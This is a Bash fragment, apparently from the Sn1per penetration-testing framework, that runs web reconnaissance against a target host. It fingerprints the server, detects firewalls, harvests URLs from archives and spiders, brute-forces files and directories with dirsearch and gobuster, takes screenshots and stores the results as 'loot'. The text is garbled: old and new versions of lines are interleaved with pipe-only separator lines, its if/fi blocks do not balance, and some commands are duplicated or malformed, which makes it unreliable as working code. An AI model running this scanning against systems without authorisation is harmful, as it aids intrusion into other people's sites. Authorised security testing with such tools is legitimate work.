curl --connect-timeout 5 -s -R -L http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null
|
||||
if [ "$WEBTECH" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
webtech -u http://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s --insecure -R http://$TARGET | tee $LOOT_DIR/web/headers-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -s -R -L --insecure http://$TARGET > $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS http://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port80.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-http-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/webcomments-http-$TARGET 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET.txt 2> /dev/null
|
||||
if [ "$PASSIVE_SPIDER" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAFWOOF" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f http://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-http.raw > $LOOT_DIR/web/waf-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/waf-$TARGET-http.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WHATWEB" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 http://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http.raw > $LOOT_DIR/web/whatweb-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-http.raw 2> /dev/null
|
||||
fi
|
||||
if [[ "$WIG" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-http
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http > $LOOT_DIR/web/wig-$TARGET-http.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-http 2> /dev/null
|
||||
fi
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u http://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http.txt
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2022-33-index?url=*.$TARGET&output=json" -H 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36' 2> /dev/null | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [ "$WAYBACKMACHINE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [ "$BLACKWIDOW" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -s GET "https://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid|error getting links" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null | head -n 250
|
||||
echo " "
|
||||
fi
|
||||
if [[ "$GAU" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING GUA URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
gau --subs $TARGET | tee $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null | head -n 250
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN blackwidow -u http://$TARGET:80 -l 2 $RESET"
|
||||
fi
|
||||
blackwidow -u http://$TARGET:80 -l 2 -v n
|
||||
cat /usr/share/blackwidow/$TARGET*/* > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:80 -l 1 -v n
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_80/"$TARGET"_80-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/gua-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
mv -f $LOOT_DIR/web/spider-$TARGET.txtr $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ $(wc -c $LOOT_DIR/web/spider-new-$TARGET.txt | awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Spider URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
head -n 20 $LOOT_DIR/web/spider-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_SPIDER_NEW" == "1" && "SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [ "$WEB_BRUTE" == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
source $INSTALL_DIR/modes/static-grep-search.sh
|
||||
if [[ "$WEB_JAVASCRIPT_ANALYSIS" == "1" ]]; then
|
||||
source $INSTALL_DIR/modes/javascript-analysis.sh
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_STEALTHSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x $WEB_BRUTE_EXCLUDE_CODES -F -e "/" -t $THREADS --exclude-texts=Attack Detected,Please contact the system administrator,Page Not Found,URL No Longer Exists --random-agent --output=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
if [[ $(wc -c $LOOT_DIR/web/dirsearch-new-$TARGET.txt| awk '{print $1}') > 3 ]]; then
|
||||
echo "[sn1persecurity.com] •?((¯°·._.• Disovered URL change detected on $TARGET (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
|
||||
cat $LOOT_DIR/web/dirsearch-new-$TARGET.txt 2> /dev/null >> $LOOT_DIR/scans/notifications_new.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$SLACK_NOTIFICATIONS_DIRSEARCH_NEW" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
wget http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET -w $WEB_BRUTE_STEALTH -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-stealth.txt
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET/robots.txt -O $LOOT_DIR/web/robots-$TARGET-http.txt 2> /dev/null
|
||||
egrep -v '<|>|;|(|)' $LOOT_DIR/web/robots-$TARGET-http.txt | tee $LOOT_DIR/web/robots-$TARGET-http.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ ${DISTRO} == "blackarch" ]; then
|
||||
/bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null$RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
cutycapt --url=http://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port80.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:80
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$port_443" ];
|
||||
if [[ -z "$port_443" ]];
|
||||
then
|
||||
echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET"
|
||||
echo -e "$OKRED + -- --=[ Port 443 closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET"
|
||||
if [ $WAFWOOF == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https 2> /dev/null$RESET"
|
||||
fi
|
||||
wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https.raw > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null
|
||||
rm -f tee $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
fi
|
||||
if [ $WHATWEB == "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null$RESET"
|
||||
fi
|
||||
whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKORANGE + -- --=[ Port 443 opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [ "$VERBOSE" == "1" ]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null$RESET"
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl --connect-timeout=5 --max-time 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null$RESET"
|
||||
fi
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=5 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 5 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -s -R -L https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null
|
||||
if [ "$WEBTECH" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
webtech -u https://$TARGET | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-https.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s --insecure -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -s -R -L --insecure https://$TARGET > $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s --insecure -R -X OPTIONS https://$TARGET | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port443.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-https-$TARGET.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null > $LOOT_DIR/web/webcomments-https-$TARGET.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/webcomments-https-$TARGET 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-https-$TARGET.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-https-$TARGET.txt 2> /dev/null
|
||||
if [ "$PASSIVE_SPIDER" = "1" ]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}"
|
||||
if [[ "$WAFWOOF" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https.raw > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/waf-$TARGET-https.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
